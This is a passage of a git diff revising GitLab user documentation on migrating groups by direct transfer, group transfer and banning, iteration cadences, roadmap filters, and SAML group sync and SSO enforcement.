GitLab instances after an administrator first [enables the feature flag](../../../administration/feature_flags.md) named `bulk_import_projects`. -You can migrate: - -- By direct transfer through either the UI or the [API](../../../api/bulk_imports.md). -- Many groups at once. -- With projects (in [Beta](../../../policy/alpha-beta-support.md#beta-features) and not ready for production use) or - without projects. - -When you migrate a group by direct transfer, you can also migrate subgroups and projects. When you migrate a group: - -- To GitLab.com, all its subgroups and projects are migrated too. -- To a self-managed instance, migrating project items is not available by default. An administrator must - [enable the feature flag](../../../administration/feature_flags.md) named `bulk_import_projects`. - -WARNING: -Migrating subgroups and projects this way is in [Beta](../../../policy/alpha-beta-support.md#beta-features) and is not -ready for production use. - -Not all group and project resources are imported. See list of migrated resources below: +Not all group and project resources are copied. See list of copied resources below: - [Migrated group items](#migrated-group-items). - [Migrated project items](#migrated-project-items-beta). -Prerequisites: - -- Network connection between instances or GitLab.com. Must support HTTPS. -- Both GitLab instances have [migration enabled in application settings](../../admin_area/settings/visibility_and_access_controls.md#enable-migration-of-groups-and-projects-by-direct-transfer) - by an instance administrator. -- Owner role on the top-level source group to migrate from. -- At least the Maintainer role on the destination group to migrate to. Using the Developer role for this purpose was - [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. +We invite you to leave your feedback about migrating by direct transfer in +[the feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/284495). -### Preparation +If you want to move groups instead of copying groups, you can [transfer groups](../manage.md#transfer-a-group) if the +groups are in the same GitLab instance. Transferring groups is a faster and more complete option. -GitLab maps users and their contributions correctly provided: +### Visibility rules -- Users already exist on the target GitLab instance. -- Users have a public email on the source GitLab instance that matches their primary email on the target GitLab instance. -- Users' primary email addresses on the target GitLab instance are confirmed. Most users receives an email asking them to confirm their email address. -- When using an OmniAuth provider like SAML, GitLab and SAML accounts of users on GitLab must be linked. All users on the target GitLab instance must sign in - and verify their account on the target GitLab instance. +After migration: -You might need to reconfigure your firewall to prevent blocking the connection on the self-managed -instance. +- Private groups and projects stay private. +- Public groups and projects: + - Stay public when copied into a public group. + - Become private when copied into a private group. -If you use [SAML SSO for GitLab.com groups](../../group/saml_sso/index.md), -contributing users must have [linked their SAML identity to their GitLab.com account](../../group/saml_sso/index.md#linking-saml-to-your-existing-gitlabcom-account). +If used a private network on your source instance to hide content from the general public, +make sure to have a similar setup on the destination instance, or to import into a private group. -When migrating to GitLab.com, you must create users manually unless [SCIM](../../group/saml_sso/scim_setup.md) is used. Creating users with the API is only -available to self-managed instances because it requires administrator access. +### Prerequisites -### Connect to the source GitLab instance +To migrate groups by direct transfer: -Create the group you want to import to and connect the source: +- The network connection between instances or GitLab.com must support HTTPS. +- Any firewalls must not block the connection between the source and destination GitLab instances. +- Both GitLab instances must have group migration by direct transfer + [enabled in application settings](../../admin_area/settings/visibility_and_access_controls.md#enable-migration-of-groups-and-projects-by-direct-transfer) + by an instance administrator. +- The source GitLab instance must be running GitLab 14.0 or later. +- You must have a [personal access token](../../../user/profile/personal_access_tokens.md) for the source GitLab + instance: + - For GitLab 15.1 and later source instances, the personal access token must have the `api` scope. + - For GitLab 15.0 and earlier source instances, the personal access token must have both the `api` and + `read_repository` scopes. +- You must have the Owner role on the source group to migrate from. +- You must have at least the Maintainer role on the destination group to migrate to. Using the Developer role for this + purpose was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in + GitLab 16.0. + +### Prepare user accounts + +To ensure GitLab maps users and their contributions correctly: + +1. Create the required users on the destination GitLab instance. When migrating to GitLab.com, you must create users + manually unless [SCIM](../../group/saml_sso/scim_setup.md) is used. Creating users with the API is only available to + self-managed instances because it requires administrator access. +1. Check that users have a public email on the source GitLab instance that matches their primary email on the + destination GitLab instance. +1. Ensure that users confirm their primary email addresses on the destination GitLab instance. Most users receive an + email asking them to confirm their email address. +1. If using an OmniAuth provider like SAML, link GitLab and SAML accounts of users on GitLab. All users on the + destination GitLab instance must sign in and verify their account on the destination GitLab instance. If using + [SAML SSO for GitLab.com groups](../../group/saml_sso/index.md), users must + [link their SAML identity to their GitLab.com account](../../group/saml_sso/index.md#linking-saml-to-your-existing-gitlabcom-account). + +### Connect the source GitLab instance + +Create the group you want to import to and connect the source GitLab instance: 1. Create either: - - A new group. On the top bar, select **{plus-square}**, then **New group**, and select **Import group**. - A new subgroup. On existing group's page, either: - Select **New subgroup**. - On the top bar, Select **{plus-square}** and then **New subgroup**. Then on the left sidebar, select the **import an existing group** link. -1. Enter the URL of your source GitLab instance. -1. Generate or copy a [personal access token](../../../user/profile/personal_access_tokens.md) - with the `api` scope on your source GitLab instance. Both `api` and `read_repository` scopes are required when migrating from GitLab 15.0 and earlier. +1. Enter the URL of a GitLab instance running GitLab 14.0 or later. 1. Enter the [personal access token](../../../user/profile/personal_access_tokens.md) for your source GitLab instance. 1. Select **Connect instance**. @@ -112,7 +124,8 @@ Create the group you want to import to and connect the source: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385689) in GitLab 15.8, option to import groups with or without projects. After you have authorized access to the source GitLab instance, you are redirected to the GitLab group -importer page. The top-level groups on the connected source instance you have the Owner role for are listed. +importer page. Here you can see a list of the top-level groups on the connected source instance where you have the Owner +role. 1. By default, the proposed group namespaces match the names as they exist in source instance, but based on your permissions, you can choose to edit these names before you proceed to import any of them. 1. Next to the groups you want to import, select either: @@ -148,7 +161,7 @@ file for groups lists many of the items imported when migrating groups by direct for your version of GitLab to see the list of items relevant to you. For example, [`import_export.yml` on the `14-10-stable-ee` branch](https://gitlab.com/gitlab-org/gitlab/-/blob/14-10-stable-ee/lib/gitlab/import_export/group/import_export.yml). -Group items that are migrated to the target instance include: +Group items that are migrated to the destination GitLab instance include: - Badges ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292431) in 13.11) - Board Lists @@ -161,9 +174,9 @@ Group items that are migrated to the target instance include: - Iterations cadences ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96570) in 15.4) - Members ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299415) in 13.9) Group members are associated with the imported group if: - - The user already exists in the target GitLab instance and + - The user already exists in the destination GitLab instance and - The user has a public email in the source GitLab instance that matches a - confirmed email in the target GitLab instance + confirmed email in the destination GitLab instance - Milestones ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292427) in 13.10) - Namespace Settings - Releases @@ -192,7 +205,7 @@ WARNING: Migrating projects when migrating groups by direct transfer is in [Beta](../../../policy/alpha-beta-support.md#beta-features) and is not ready for production use. -Project items that are migrated to the target instance include: +Project items that are migrated to the destination GitLab instance include: - Projects ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267945) in GitLab 14.4) - Auto DevOps ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/339410) in GitLab 14.6) @@ -241,9 +254,6 @@ Items excluded from migration, because they contain sensitive information: - Pipeline Triggers. -Migrating projects with file exports uses the same export and import mechanisms as creating projects from templates at the [group](../../group/custom_project_templates.md) and -[instance](../../admin_area/custom_project_templates.md) levels. Therefore, the list of exported items is the same. - ### Troubleshooting In a [rails console session](../../../administration/operations/rails_console.md#starting-a-rails-console-session), @@ -251,7 +261,7 @@ you can find the failure or error messages for the group import attempt using: ```ruby # Get relevant import records -import = BulkImports::Entity.where(namespace_id: Group.id).map(&:bulk_import) +import = BulkImports::Entity.where(namespace_id: Group.id).map(&:bulk_import).last # Alternative lookup by user import = BulkImport.where(user_id: User.find(...)).last @@ -267,7 +277,7 @@ entities.where(status: [-1]).pluck(:destination_name, :destination_namespace, :s ``` You can also see all migrated entities with any failures related to them using an -[API endpoint](../../../api/bulk_imports.md#list-all-gitlab-migrations-entities). +[API endpoint](../../../api/bulk_imports.md#list-all-group-migrations-entities). #### Stale imports @@ -300,11 +310,6 @@ To solve this, you must change the source group path to include a non-numerical - The [Groups API](../../../api/groups.md#update-group). -### Provide feedback - -Please leave your feedback about migrating groups by direct transfer in -[the feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/284495). - ## Migrate groups by uploading an export file (deprecated) > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2888) in GitLab 13.0 as an experimental feature. May change in future releases. @@ -343,6 +348,25 @@ Note the following: exporting a group from the Enterprise Edition to the Community Edition, you may lose this data. For more information, see [downgrading from EE to CE](../../../index.md). +### Compatibility + +Group file exports are in NDJSON format. GitLab previously produced group file exports in JSON format, however: + +- From GitLab 15.8, GitLab no longer supports importing a JSON-formatted group file export. +- Between GitLab 14.0 and GitLab 14.7, GitLab no longer produces group file exports in JSON format but, to support + transitions, can still import JSON-formatted group file exports. + +From GitLab 13.0, GitLab can import group file exports that were exported from a version of GitLab up to two +[minor](../../../policy/maintenance.md#versioning) versions behind, which is similar to our process for +[security releases](../../../policy/maintenance.md#security-releases). + +For example: + +| Destination version | Compatible source versions | +|:--------------------|:---------------------------| +| 13.0 | 13.0, 12.10, 12.9 | +| 13.1 | 13.1, 13.0, 12.10 | + ### Exported contents The [`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/import_export/group/import_export.yml) @@ -441,27 +465,6 @@ To help avoid abuse, by default, users are rate limited to: | Download export | 1 download per group per minute | | Import | 6 groups per minute | -### Version history - -#### 14.0+ - -In GitLab 14.0, the JSON format is no longer supported for project and group exports. To allow for a -transitional period, you can still import any JSON exports. The new format for imports and exports -is NDJSON. - -#### 13.0+ - -GitLab can import bundles that were exported from a different GitLab deployment. -This ability is limited to two previous GitLab [minor](../../../policy/maintenance.md#versioning) -releases, which is similar to our process for [Security Releases](../../../policy/maintenance.md#security-releases). - -For example: - -| Current version | Can import bundles exported from | -|-----------------|----------------------------------| -| 13.0 | 13.0, 12.10, 12.9 | -| 13.1 | 13.1, 13.0, 12.10 | - ## Automate group and project import **(PREMIUM)** For information on automating user, group, and project import API calls, see diff --git a/doc/user/group/iterations/index.md b/doc/user/group/iterations/index.md index 518370fc7ac..72d3bf65447 100644 --- a/doc/user/group/iterations/index.md +++ b/doc/user/group/iterations/index.md @@ -33,7 +33,7 @@ In GitLab, iterations are similar to milestones, with a few differences: > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5077) in GitLab 14.1 [with a flag](../../../administration/feature_flags.md), named `iteration_cadences`. Disabled by default. > - [Changed](https://gitlab.com/gitlab-org/gitlab/-/issues/354977) in GitLab 15.0: All scheduled iterations must start on the same day of the week as the cadence start day. Start date of cadence cannot be edited after the first iteration starts. > - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/354878) in GitLab 15.0. -> - [Changed](https://gitlab.com/gitlab-org/gitlab/-/issues/367493) in GitLab 15.4: A new automation start date can be selected for cadence. Upcoming iterations will be scheduled to start on the same day of the week as the changed start date. Iteration cadences can be manually managed by turning off the automatic scheduling feature. +> - [Changed](https://gitlab.com/gitlab-org/gitlab/-/issues/367493) in GitLab 15.4: A new automation start date can be selected for cadence. Upcoming iterations are scheduled to start on the same day of the week as the changed start date. Iteration cadences can be manually managed by turning off the automatic scheduling feature. > - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/354878) in GitLab 15.5. Feature flag `iteration_cadences` removed. Iteration cadences are containers for iterations and can be used to automate iteration scheduling. @@ -56,7 +56,7 @@ To create an iteration cadence: 1. Enter the title and description of the iteration cadence. 1. To manually manage the iteration cadence, clear the **Enable automatic scheduling** checkbox and skip the next step. 1. Complete the required fields to use automatic scheduling. - - Select the automation start date of the iteration cadence. Iterations will be scheduled to + - Select the automation start date of the iteration cadence. Iterations are scheduled to begin on the same day of the week as the day of the week of the start date. - From the **Duration** dropdown list, select how many weeks each iteration should last. - From the **Upcoming iterations** dropdown list, select how many upcoming iterations should be @@ -77,8 +77,7 @@ From there you can create a new iteration or select an iteration to get a more d NOTE: If a project has issue tracking [turned off](../../project/settings/index.md#configure-project-visibility-features-and-permissions), -you can view the iterations list -by going to its URL. To do so, add: `/-/cadences` to your project or group URL. +to view the iterations list, enter its URL. To do so, add: `/-/cadences` to your project or group URL. For example `https://gitlab.com/gitlab-org/sample-data-templates/sample-gitlab-project/-/cadences`. This is tracked in [issue 339009](https://gitlab.com/gitlab-org/gitlab/-/issues/339009). diff --git a/doc/user/group/manage.md b/doc/user/group/manage.md index a755447c47c..fc72b81d74c 100644 --- a/doc/user/group/manage.md +++ b/doc/user/group/manage.md @@ -33,8 +33,8 @@ To create a group: 1. Choose the [visibility level](../public_access.md). 1. Personalize your GitLab experience by answering the following questions: - What is your role? - - Who will be using this group? - - What will you use this group for? + - Who is using this group? + - What are you using this group for? 1. Invite GitLab members or other users to join the group. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> @@ -131,7 +131,7 @@ Filter a group to find members. By default, all members in the group and subgrou In lists of group members, entries can display the following badges: - **SAML**, to indicate the member has a [SAML account](saml_sso/index.md) connected to them. -- **Enterprise**, to indicate that [SCIM created the account](saml_sso/scim_setup.md). +- **Enterprise**, to indicate that the member is an [enterprise user](../enterprise_user/index.md). 1. On the top bar, select **Main menu > Groups** and find your group. 1. Above the list of members, in the **Filter members** box, enter filter criteria. @@ -155,7 +155,7 @@ You can sort members by **Account**, **Access granted**, **Max role**, or **Last 1. On the top bar, select **Main menu > Groups** and find your group. 1. On the left sidebar, select **Group information > Members**. -1. Above the list of members, on the top right, from the **Account** list, select +1. Above the list of members, in the upper right, from the **Account** list, select the criteria to filter by. 1. To switch the sort between ascending and descending, to the right of the **Account** list, select the arrow (**{sort-lowest}** or **{sort-highest}**). @@ -336,12 +336,15 @@ After sharing the `Frontend` group with the `Engineering` group: ## Transfer a group -You can transfer groups in the following ways: +Transferring groups moves them from one place to another in the same GitLab instance. You can: - Transfer a subgroup to a new parent group. - Convert a top-level group into a subgroup by transferring it to the desired group. - Convert a subgroup into a top-level group by transferring it out of its current group. +If you need to copy a group to a different GitLab instance, +[migrate the group by direct transfer](import/index.md#migrate-groups-by-direct-transfer-recommended). + When transferring groups, note: - Changing a group's parent can have unintended side effects. See [what happens when a repository path changes](../project/repository/index.md#what-happens-when-a-repository-path-changes). @@ -350,6 +353,7 @@ When transferring groups, note: - If the immediate parent group's visibility is lower than the group's current visibility, visibility levels for subgroups and projects change to match the new parent group's visibility. - Only explicit group membership is transferred, not inherited membership. If the group's owners have only inherited membership, this leaves the group without an owner. In this case, the user transferring the group becomes the group's owner. - Transfers fail if [packages](../packages/index.md) exist in any of the projects in the group, or in any of its subgroups. +- Top-level groups that have a subscription on GitLab.com cannot be transferred. To make the transfer possible, the top-level group's subscription must be removed first. Then the top-level group can be transferred as a subgroup to another top-level group. To transfer a group: diff --git a/doc/user/group/reporting/git_abuse_rate_limit.md b/doc/user/group/reporting/git_abuse_rate_limit.md index a5515079294..14b188e1204 100644 --- a/doc/user/group/reporting/git_abuse_rate_limit.md +++ b/doc/user/group/reporting/git_abuse_rate_limit.md @@ -38,3 +38,17 @@ Prerequisites: 1. On the left sidebar, select **Group information > Members**. 1. Select the **Banned** tab. 1. For the account you want to unban, select **Unban**. + +## Ban a user + +> [Introduced](https://gitlab.com/gitlab-org/modelops/anti-abuse/team-tasks/-/issues/155) in GitLab 15.8. + +Prerequisites: + +- You must have the Owner role. + +To manually ban a user: + +1. On the left sidebar, select **Group information > Members**. +1. Next to the member you want to ban, select the vertical ellipsis (**{ellipsis_v}**). +1. From the dropdown list, select **Ban member**. diff --git a/doc/user/group/roadmap/index.md b/doc/user/group/roadmap/index.md index 3a9d0c833c1..9e0ff22eafa 100644 --- a/doc/user/group/roadmap/index.md +++ b/doc/user/group/roadmap/index.md @@ -38,6 +38,7 @@ heading to toggle the list of the milestone bars. > - Filtering by epic confidentiality [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218624) in GitLab 13.9. > - Filtering by epic [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218623) in GitLab 13.11. > - Filtering by milestone [feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323917) in GitLab 14.5. +> - Filtering by group was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385191) in GitLab 15.9. NOTE: Filtering roadmaps by milestone might not be available to you. Be sure to review this section's version history for details. @@ -62,6 +63,7 @@ You can also filter epics in the Roadmap view by the epics': - [Confidentiality](../epics/manage_epics.md#make-an-epic-confidential) - Epic - Your Reaction +- Groups  @@ -71,6 +73,7 @@ You can also [visualize roadmaps inside of an epic](../epics/index.md#roadmap-in > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345158) in GitLab 14.8 [with a flag](../../../administration/feature_flags.md) named `roadmap_settings`. Enabled by default. > - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/350830) in GitLab 14.9. Feature flag `roadmap_settings`removed. +> - Labels visible on roadmaps [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385231) in GitLab 15.9. When you enable the roadmap settings sidebar, you can use it to refine epics shown in the roadmap. @@ -82,6 +85,7 @@ You can configure the following: - Show all, open, or closed epics. - Turn progress tracking for child issues on or off and select whether to use issue weights or counts. +- Turn labels on or off. The progress tracking setting isn't saved in user preferences, but is saved or shared using URL parameters. @@ -148,7 +152,7 @@ due dates. ## Blocked epics **(ULTIMATE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33587) in GitLab 15.5: View blocking epics when hovering over the “blocked” icon. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33587) in GitLab 15.5: View blocking epics when hovering over the "blocked" icon. If an epic is [blocked by another epic](../epics/linked_epics.md#blocking-epics), an icon appears next to its title to indicate its blocked status. diff --git a/doc/user/group/saml_sso/example_saml_config.md b/doc/user/group/saml_sso/example_saml_config.md index aef39f587ef..7778648e985 100644 --- a/doc/user/group/saml_sso/example_saml_config.md +++ b/doc/user/group/saml_sso/example_saml_config.md @@ -55,6 +55,9 @@ Attribute mapping:  +NOTE: +Using the **Group ID** source attribute requires users to enter the group ID or object ID when configuring SAML group links. If available, use the **sAMAccountName** source attribute for the friendly group name instead. + ## Google Workspace Basic SAML app configuration: diff --git a/doc/user/group/saml_sso/group_sync.md b/doc/user/group/saml_sso/group_sync.md index 65c4d68f743..27482893bd6 100644 --- a/doc/user/group/saml_sso/group_sync.md +++ b/doc/user/group/saml_sso/group_sync.md @@ -109,9 +109,9 @@ Users granted: ### Automatic member removal -After a group sync, for GitLab subgroups, users who are not members of a mapped SAML -group are removed from the group. Users in the top-level group are assigned the -[default membership role](index.md#role). +After a group sync, users who are not members of a mapped SAML group are removed from the group. +On GitLab.com, users in the top-level group are assigned the +[default membership role](index.md#role) instead of being removed. For example, in the following diagram: @@ -191,23 +191,23 @@ graph TB GitLabGroupD --> |Member|GitLabUserD ``` -### Use the API +#### User that belongs to many SAML groups automatically removed from GitLab group -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/290367) in GitLab 15.3. +When using Azure AD as the SAML identity provider, users that belong to many SAML groups can be automatically removed from your GitLab group. Users are removed from GitLab +groups if the group claim is missing from the user's SAML assertion. -You can use the GitLab API to [list, add, and delete](../../../api/groups.md#saml-group-links) SAML group links. +Because of a [known issue with Azure AD](https://support.esri.com/en/technical-article/000022190), if a user belongs to more than 150 SAML groups, the group claim is not sent +in the user's SAML assertion. -## Troubleshooting +With an Azure AD premium subscription, you can allow up to 500 group IDs to be sent in a SAML token using the +[Azure AD documentation configuration steps](https://support.esri.com/en/technical-article/000022190). -This section contains possible solutions for problems you might encounter. +Otherwise, you can work around this issue by changing the [group claims](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-fed-group-claims#configure-the-azure-ad-application-registration-for-group-attributes) to use the `Groups assigned to the application` option instead. -### User that belongs to many SAML groups automatically removed from GitLab group +. -When using Azure AD as the SAML identity provider, users that belong to many SAML groups can be automatically removed from your GitLab group. Users are removed from GitLab -groups if the group claim is missing from the user's SAML assertion. +### Use the API -Because of a [known issue with Azure AD](https://support.esri.com/en/technical-article/000022190), if a user belongs to more than 150 SAML groups, the group claim is not sent -in the user's SAML assertion. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/290367) in GitLab 15.3. -To work around this issue, allow more than 150 group IDs to be sent in SAML token using configuration steps in the -[Azure AD documentation](https://support.esri.com/en/technical-article/000022190). +You can use the GitLab API to [list, add, and delete](../../../api/groups.md#saml-group-links) SAML group links. diff --git a/doc/user/group/saml_sso/img/Azure-manage-group-claims.png b/doc/user/group/saml_sso/img/Azure-manage-group-claims.png Binary files differnew file mode 100644 index 00000000000..2ff24733282 --- /dev/null +++ b/doc/user/group/saml_sso/img/Azure-manage-group-claims.png diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md index 1275e3a21e4..e650b2dd130 100644 --- a/doc/user/group/saml_sso/index.md +++ b/doc/user/group/saml_sso/index.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > Introduced in GitLab 11.0. -This page describes SAML for groups. For instance-wide SAML on self-managed GitLab instances, see [SAML OmniAuth Provider](../../../integration/saml.md). +This page describes SAML for groups. For instance-wide SAML on self-managed GitLab instances, see [SAML SSO for self-managed GitLab instances](../../../integration/saml.md). [View the differences between SaaS and Self-Managed Authentication and Authorization Options](../../../administration/auth/index.md#saas-vs-self-managed-comparison). SAML on GitLab.com allows users to sign in through their SAML identity provider. If the user is not already a member, the sign-in process automatically adds the user to the appropriate group. @@ -97,7 +97,7 @@ After you set up your identity provider to work with GitLab, you must configure  NOTE: -The certificate [fingerprint algorithm](../../../integration/saml.md#configure-saml-on-your-idp) must be in SHA1. When configuring the identity provider (such as [Google Workspace](#google-workspace-setup-notes)), use a secure signature algorithm. +The certificate [fingerprint algorithm](../../../integration/saml.md#configure-saml-on-your-idp) must be in SHA1. When configuring the identity provider (such as [Google Workspace](#set-up-google-workspace)), use a secure signature algorithm. ### Additional configuration information @@ -121,34 +121,39 @@ It can also help to compare the XML response from your provider with our [exampl > - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/9152) in GitLab 13.11 with enforcing open SSO session to use Git if this setting is switched on. > - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/339888) in GitLab 14.7 to not enforce SSO checks for Git activity originating from CI/CD jobs. > - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/215155) in GitLab 15.5 [with a flag](../../../administration/feature_flags.md) named `transparent_sso_enforcement` to include transparent enforcement even when SSO enforcement is not enabled. Disabled on GitLab.com. +> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/375788) in GitLab 15.8 by enabling transparent SSO by default on GitLab.com. FLAG: -On self-managed GitLab, transparent SSO enforcement is unavailable. On GitLab.com, see the [Transparent SSO rollout](https://gitlab.com/gitlab-org/gitlab/-/issues/375788) issue for the current status. +On self-managed GitLab, transparent SSO enforcement is unavailable. An +[issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/382917) to add +transparent SSO enforcement to self-managed GitLab. +On GitLab.com, transparent SSO enforcement is available by default. To turn off +transparent SSO, ask a support or production team to enable the +`transparent_sso_enforcement_override` feature flag for a specific customer +group. -SSO is enforced when users access groups and projects in the organization's group hierarchy. Users can view other groups and projects without SSO sign in. +#### Transparent SSO enforcement -SSO is enforced for each user with an existing SAML identity when the following is enabled: +By default, transparent SSO enforcement is enabled in GitLab.com. This means SSO is enforced: -- SAML SSO. -- The `:transparent_sso_enforcement` feature flag. +- When users access groups and projects in the organization's + group hierarchy. Users can view other groups and projects without SSO sign in. +- For each user with an existing SAML identity. + +When transparent SSO enforcement is enabled, users: + +- Are not prompted to sign in through SSO on each visit. GitLab checks + whether a user has authenticated through SSO. If the user last signed in more + than 24 hours ago, GitLab prompts the user to sign in again through SSO. +- Without SAML identities are not required to use SSO unless **Enforce + SSO-only authentication for web activity for this group** is enabled. A user has a SAML identity if one or both of the following are true: - They have signed in to GitLab by using their GitLab group's single sign-on URL. - They were provisioned by SCIM. -Users without SAML identities are not required to use SSO unless explicit enforcement is enabled. - -When the **Enforce SSO-only authentication for web activity for this group** option is enabled, all users must access GitLab by using their GitLab group's single sign-on URL to access group resources, -regardless of whether they have an existing SAML identity. -Users also cannot be added as new members manually. -Users with the Owner role can use the standard sign in process to make necessary changes to top-level group settings. - -However, users are not prompted to sign in through SSO on each visit. GitLab checks whether a user -has authenticated through SSO. If it's been more than 1 day since the last sign-in, GitLab -prompts the user to sign in again through SSO. - -When the transparent SSO enforcement feature flag is enabled, SSO is enforced as follows: +With transparent SSO enabled, SSO is enforced as follows: | Project/Group visibility | Enforce SSO setting | Member with identity | Member without identity | Non-member or not signed in | |--------------------------|---------------------|--------------------| ------ |------------------------------| @@ -157,36 +162,45 @@ When the transparent SSO enforcement feature flag is enabled, SSO is enforced as | Public | Off | Enforced | Not enforced | Not enforced | | Public | On | Enforced | Enforced | Not enforced | -An [issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/297389) to add a similar SSO requirement for API and GitLab Pages activities. - -SSO enforcement has the following effects when enabled: - -- For groups, users can't share a project in the group outside the top-level group, - even if the project is forked. -- For Git activity over SSH and HTTPS, users must have at least one active session signed-in through SSO before they can push to or - pull from a GitLab repository. -- Git activity originating from CI/CD jobs do not have the SSO check enforced. -- Credentials that are not tied to regular users (for example, project and group access tokens, and deploy keys) do not have the SSO check enforced. -- Users must be signed-in through SSO before they can pull images using the [Dependency Proxy](../../packages/dependency_proxy/index.md). -- When the **Enforce SSO-only authentication for Git and Dependency Proxy activity for this group** option is enabled, any API endpoint that involves Git activity is under SSO - enforcement. For example, creating or deleting a branch, commit, or tag. - -When SSO is enforced, users are not immediately revoked. If the user: +An [issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/297389) to add a similar SSO requirement for API activity. -- Is signed out, they cannot access the group after being removed from the identity provider. -- Has an active session, they can continue accessing the group for up to 24 hours until the identity - provider session times out. +#### SSO-only for web activity enforcement -### Selectively enable and disable transparent SSO enforcement +When the **Enforce SSO-only authentication for web activity for this group** option is enabled: -There are two feature flags associated with this feature to allow precise control. If a customer has a problem with transparent SSO on GitLab.com, GitLab can help troubleshoot and override the feature flag as necessary. +- All users must access GitLab by using their GitLab group's single sign-on URL + to access group resources, regardless of whether they have an existing SAML + identity. +- SSO is enforced when users access groups and projects in the organization's + group hierarchy. Users can view other groups and projects without SSO sign in. +- Users cannot be added as new members manually. +- Users with the Owner role can use the standard sign in process to make + necessary changes to top-level group settings. -**`transparent_sso_enforcement`:** This feature flag should only be enabled or disabled by the Authentication and Authorization group -or in the case of a serious and widespread issue affecting many groups or users. See [issue 375788](https://gitlab.com/gitlab-org/gitlab/-/issues/375788) for the current GitLab.com rollout status. +SSO enforcement for web activity has the following effects when enabled: -**`transparent_sso_enforcement_override`:** When the `transparent_sso_enforcement` feature flag is enabled, support or production teams can -turn off transparent SSO by enabling this feature flag for a specific customer group. **Enabling** this feature flag -disables transparent SSO enforcement. +- For groups, users cannot share a project in the group outside the top-level + group, even if the project is forked. +- For Git activity over SSH and HTTPS, users must have at least one active + session signed-in through SSO before they can push to or + pull from a GitLab repository. +- Git activity originating from CI/CD jobs do not have the SSO check enforced. +- Credentials that are not tied to regular users (for example, project and group + access tokens, and deploy keys) do not have the SSO check enforced. +- Users must be signed-in through SSO before they can pull images using the + [Dependency Proxy](../../packages/dependency_proxy/index.md). +- When the **Enforce SSO-only authentication for Git and Dependency Proxy + activity for this group** option is enabled, any API endpoint that involves + Git activity is under SSO enforcement. For example, creating or deleting a + branch, commit, or tag. + +When SSO for web activity is enforced, non-SSO group members do not lose access +immediately. If the user: + +- Has an active session, they can continue accessing the group for up to 24 + hours until the identity provider session times out. +- Is signed out, they cannot access the group after being removed from the + identity provider. ## Providers @@ -200,9 +214,9 @@ for additional guidance on information your identity provider may require. GitLab provides the following information for guidance only. If you have any questions on configuring the SAML app, contact your provider's support. -### Azure setup notes +### Set up Azure -Follow the Azure documentation on [configuring single sign-on to applications](https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/view-applications-portal) with the notes below for consideration. +Follow the Azure documentation on [configuring single sign-on to applications](https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/add-application-portal-setup-sso), and use the following notes when needed. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For a demo of the Azure SAML setup including SCIM, see [SCIM Provisioning on Azure Using SAML SSO for Groups Demo](https://youtu.be/24-ZxmTeEBU). @@ -216,90 +230,92 @@ The video is outdated in regard to objectID mapping and you should follow the [S | Identity provider single sign-on URL | Login URL | | Certificate fingerprint | Thumbprint | -The recommended attributes are: +You should set the following attributes: -- **Unique User Identifier (Name identifier)** set to `user.objectID`. -- **nameid-format** set to persistent. -- Additional claims set to [supported attributes](#user-attributes). +- **Unique User Identifier (Name identifier)** to `user.objectID`. +- **nameid-format** to persistent. +- Additional claims to [supported attributes](#user-attributes). If using [Group Sync](#group-sync), customize the name of the group claim to match the required attribute. See our [example configuration page](example_saml_config.md#azure-active-directory). -### Google Workspace setup notes - -Follow the Google Workspace documentation on -[setting up SSO with Google as your identity provider](https://support.google.com/a/answer/6087519?hl=en) -with the notes below for consideration. - -| GitLab setting | Google Workspace field | -|:-------------------------------------|:-----------------------| -| Identifier | Entity ID | -| Assertion consumer service URL | ACS URL | -| GitLab single sign-on URL | Start URL | -| Identity provider single sign-on URL | SSO URL | - -NOTE: -Google Workspace displays a SHA256 fingerprint. To retrieve the SHA1 fingerprint required by GitLab for [configuring SAML](#configure-gitlab), download the certificate and calculate -the SHA1 certificate fingerprint using this sample command: `openssl x509 -noout -fingerprint -sha1 -inform pem -in "GoogleIDPCertificate-domain.com.pem"`. +### Set up Google Workspace -The recommended attributes and claims settings are: +1. [Set up SSO with Google as your identity 